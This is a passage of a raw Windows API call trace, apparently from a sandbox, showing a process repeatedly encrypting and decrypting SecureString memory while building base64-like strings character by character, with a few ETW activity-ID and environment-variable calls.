(param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xdbda\xc532\x9fb2\x4ba\xa819\x3e9c\x93a9\xe3b7") returned 0x28 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xdbda\xc532\x9fb2\x4ba\xa819\x3e9c\x93a9\xe3b7") returned 0x28 [0132.965] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymኒ䰽₧㨾") returned 0x28 [0132.965] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x5abb\xf9e2\xfda9\x7752\x24cc\xe753\xcd\x6c2d") returned 0x28 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x5abb\xf9e2\xfda9\x7752\x24cc\xe753\xcd\x6c2d") returned 0x28 [0132.965] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq䰽₧㨾") returned 0x28 [0132.965] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xe310\x519a\x26a9\x7f65\x148e\x62bf\xbd3d\x9b31") returned 0x28 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xe310\x519a\x26a9\x7f65\x148e\x62bf\xbd3d\x9b31") returned 0x28 [0132.965] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3₧㨾") returned 0x28 [0132.965] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xf07f\x25fe\x3b62\x32af\x10ce\x3100\xfb3e\x8bcb") returned 0x28 [0132.965] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xf07f\x25fe\x3b62\x32af\x10ce\x3100\xfb3e\x8bcb") returned 0x28 [0132.965] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3n₧㨾") returned 0x28 [0132.965] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x8ffb\x6005\x51e2\x22c8\xb8d4\x4662\xa88c\xa561") returned 0x28 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x8ffb\x6005\x51e2\x22c8\xb8d4\x4662\xa88c\xa561") returned 0x28 [0132.966] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.966] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3nV㨾") returned 0x28 [0132.966] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xfc23\x2fb2\xadc7\x9858\xe3e1\x41f9\xa6d4\x40f4") returned 0x28 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xfc23\x2fb2\xadc7\x9858\xe3e1\x41f9\xa6d4\x40f4") returned 0x28 [0132.966] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.966] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3nVG") returned 0x28 [0132.966] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a") returned 0x28 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a") returned 0x28 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a") returned 0x28 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a") returned 0x30 [0132.966] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.966] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3nVGgꂔ⿜⵬嬋⬻챙") returned 0x30 [0132.966] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a\x538b\x9f19\x1be4\x3ecc\x5943\x9f35\x7f94\xcdc7") returned 0x30 [0132.966] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a\x538b\x9f19\x1be4\x3ecc\x5943\x9f35\x7f94\xcdc7") returned 0x30 [0132.966] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.966] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3nVGgK⿜⵬嬋⬻챙") returned 0x30 [0132.967] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.967] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a\x9257\x5b51\x530e\x7fee\x8a00\xcc29\x16b2\x5ce7") returned 0x30 [0132.967] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a\x9257\x5b51\x530e\x7fee\x8a00\xcc29\x16b2\x5ce7") returned 0x30 [0132.967] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.967] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3nVGgKY⵬嬋⬻챙") returned 0x30 [0132.967] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.967] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a\x31a7\x610b\x1f92\x6cd3\xeb6d\x38a6\x4d68\xdce") returned 0x30 [0132.967] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x70b\xa0be\x5c94\x2c6a\x244d\x4f9e\x6ec0\xfc8a\x31a7\x610b\x1f92\x6cd3\xeb6d\x38a6\x4d68\xdce") returned 0x30 [0132.967] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.967] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Ymq3nVGgKY=嬋⬻챙") returned 0x30 [0132.967] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0132.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.967] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.967] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0132.967] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.968] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.968] SysStringLen (param_1="") returned 0x8 [0132.968] SysStringLen (param_1="Y") returned 0x8 [0132.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.968] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0132.968] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0132.968] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.968] SysStringLen (param_1="YW") returned 0x8 [0132.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.968] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0132.968] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0132.968] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.968] SysStringLen (param_1="YWM") returned 0x8 [0132.968] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0132.969] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0132.969] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="YWM1") returned 0x8 [0132.969] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0132.969] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0132.969] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="YWM1O") returned 0x8 [0132.969] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0132.969] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0132.969] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="YWM1OT") returned 0x8 [0132.969] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0132.969] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0132.969] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.969] SysStringLen (param_1="YWM1OTE") returned 0x8 [0132.969] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.970] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0132.970] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0132.970] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.970] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0132.970] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.970] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0132.970] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0132.970] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0132.970] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0132.970] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.970] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0132.970] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0132.970] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0132.970] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.970] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0132.970] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0132.971] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0132.971] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0132.971] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0132.971] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0132.971] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0132.971] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0132.971] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0132.971] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0132.971] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0132.971] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0132.972] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0132.972] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0132.972] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0132.972] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.972] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0132.972] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.972] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0132.972] SysStringLen 